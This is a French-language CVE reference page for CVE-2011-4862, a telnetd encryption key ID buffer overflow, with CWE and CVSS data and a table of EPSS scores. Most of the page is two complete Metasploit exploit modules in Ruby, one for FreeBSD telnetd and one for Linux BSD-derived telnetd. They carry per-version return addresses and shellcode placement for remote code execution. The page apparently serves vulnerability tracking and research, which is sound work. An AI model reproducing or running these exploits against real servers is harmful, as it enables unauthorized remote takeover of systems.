CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Buffer overflow in libtelnet/encrypt.c in telnetd in FreeBSD 7.3 through 9.0, MIT Kerberos Version 5 Applications (aka krb5-appl) 1.0.2 and earlier, Heimdal 1.5.1 and earlier, GNU inetutils, and possibly other products allows remote attackers to execute arbitrary code via a long encryption key, as exploited in the wild in December 2011.
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
88.82%
–
–
2022-03-13
–
–
88.47%
–
–
2022-06-12
–
–
88.7%
–
–
2022-11-27
–
–
90.67%
–
–
2023-02-19
–
–
86.82%
–
–
2023-03-12
–
–
–
97.38%
–
2023-03-19
–
–
–
97.4%
–
2023-05-21
–
–
–
97.42%
–
2023-09-24
–
–
–
97.31%
–
2024-01-14
–
–
–
97.25%
–
2024-03-10
–
–
–
97.19%
–
2024-06-02
–
–
–
96.94%
–
2024-06-30
–
–
–
96.79%
–
2024-08-25
–
–
–
96.65%
–
2024-10-06
–
–
–
96.7%
–
2024-11-24
–
–
–
96.75%
–
2024-12-22
–
–
–
96.26%
–
2025-01-19
–
–
–
96.26%
–
2025-03-18
–
–
–
–
92.59%
2025-03-18
–
–
–
–
92.59,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2012-01-13 23h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Telnet
include Msf::Exploit::BruteTargets
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD Telnet Service Encryption Key ID Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the encryption option handler of the
FreeBSD telnet service.
},
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2011-4862'],
['OSVDB', '78020'],
['BID', '51182'],
['URL', 'http://www.exploit-db.com/exploits/18280/']
],
'Privileged' => true,
'Platform' => 'bsd',
'Payload' =>
{
'Space' => 128,
'BadChars' => "\x00",
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'FreeBSD 8.2', { 'Ret' => 0x0804a8a9 } ], # call edx
[ 'FreeBSD 8.1', { 'Ret' => 0x0804a889 } ], # call edx
[ 'FreeBSD 8.0', { 'Ret' => 0x0804a869 } ], # call edx
[ 'FreeBSD 7.3/7.4', { 'Ret' => 0x08057bd0 } ], # call edx
[ 'FreeBSD 7.0/7.1/7.2', { 'Ret' => 0x0804c4e0 } ], # call edx
[ 'FreeBSD 6.3/6.4', { 'Ret' => 0x0804a5b4 } ], # call edx
[ 'FreeBSD 6.0/6.1/6.2', { 'Ret' => 0x08052925 } ], # call edx
[ 'FreeBSD 5.5', { 'Ret' => 0x0804cf31 } ], # call edx
# [ 'FreeBSD 5.4', { 'Ret' => 0x08050006 } ] # Version 5.4 does not seem to be exploitable (the crypto() function is not called)
[ 'FreeBSD 5.3', { 'Ret' => 0x8059730 } ], # direct return
# Versions 5.2 and below do not support encyption
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 23 2011'))
end
def exploit_target(t)
connect
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
vprint_status(banner_sanitized)
enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
enc_keyid = "\xff\xfa\x26\x07"
end_suboption = "\xff\xf0"
# Telnet protocol requires 0xff to be escaped with another
penc = payload.encoded.gsub("\xff", "\xff\xff")
key_id = Rex::Text.rand_text_alphanumeric(400)
key_id[ 0, 2] = "\xeb\x76"
key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
key_id[76, 4] = [ t['Ret'] ].pack("V")
# Some of these bytes can get mangled, jump over them
key_id[80,112] = Rex::Text.rand_text_alphanumeric(112)
# Bounce to the real payload (avoid corruption)
key_id[120, 2] = "\xeb\x46"
# The actual payload
key_id[192, penc.length] = penc
# Create the Key ID command
sploit = enc_keyid + key_id + end_suboption
# Initiate encryption
sock.put(enc_init)
# Wait for a successful response
loop do
data = sock.get_once(-1, 5) rescue nil
if not data
raise RuntimeError, "This system does not support encryption"
end
break if data.index("\xff\xfa\x26\x02\x01")
end
# The first request smashes the pointer
print_status("Sending first payload")
sock.put(sploit)
# Make sure the server replied to the first request
data = sock.get_once(-1, 5)
unless data
print_status("Server did not respond to first payload")
return
end
# Some delay between each request seems necessary in some cases
::IO.select(nil, nil, nil, 0.5)
# The second request results in the pointer being called
print_status("Sending second payload...")
sock.put(sploit)
handler
::IO.select(nil, nil, nil, 0.5)
disconnect
end
end
Date de publication : 2012-01-13 23h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Telnet
include Msf::Exploit::BruteTargets
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the encryption option handler of the
Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions
use NetKit-derived telnet daemons, so this flaw only applies to a small subset of
Linux systems running telnetd.
},
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2011-4862'],
['OSVDB', '78020'],
['BID', '51182'],
['URL', 'http://www.exploit-db.com/exploits/18280/']
],
'Privileged' => true,
'Platform' => 'linux',
'Payload' =>
{
'Space' => 200,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 23 2011'))
end
def exploit_target(t)
connect
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
print_status(banner_sanitized) if datastore['VERBOSE']
enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
enc_keyid = "\xff\xfa\x26\x07"
end_suboption = "\xff\xf0"
penc = payload.encoded.gsub("\xff", "\xff\xff")
key_id = Rex::Text.rand_text_alphanumeric(400)
key_id[ 0, 2] = "\xeb\x76"
key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
key_id[76, 4] = [ t['Ret'] ].pack("V")
# Some of these bytes can get mangled, jump over them
key_id[80,40] = "\x41" * 40
# Insert the real payload
key_id[120, penc.length] = penc
# Create the Key ID command
sploit = enc_keyid + key_id + end_suboption
# Initiate encryption
sock.put(enc_init)
# Wait for a successful response
loop do
data = sock.get_once(-1, 5) rescue nil
if not data
raise RuntimeError, "This system does not support encryption"
end
break if data.index("\xff\xfa\x26\x02\x01")
end
# The first request smashes the pointer
print_status("Sending first payload")
sock.put(sploit)
# Make sure the server replied to the first request
data = sock.get_once(-1, 5)
unless data
print_status("Server did not respond to first payload")
return
end
# Some delay between each request seems necessary in some cases
::IO.select(nil, nil, nil, 0.5)
# The second request results in the pointer being called
print_status("Sending second payload...")
sock.put(sploit)
handler
::IO.select(nil, nil, nil, 0.5)
disconnect
end
end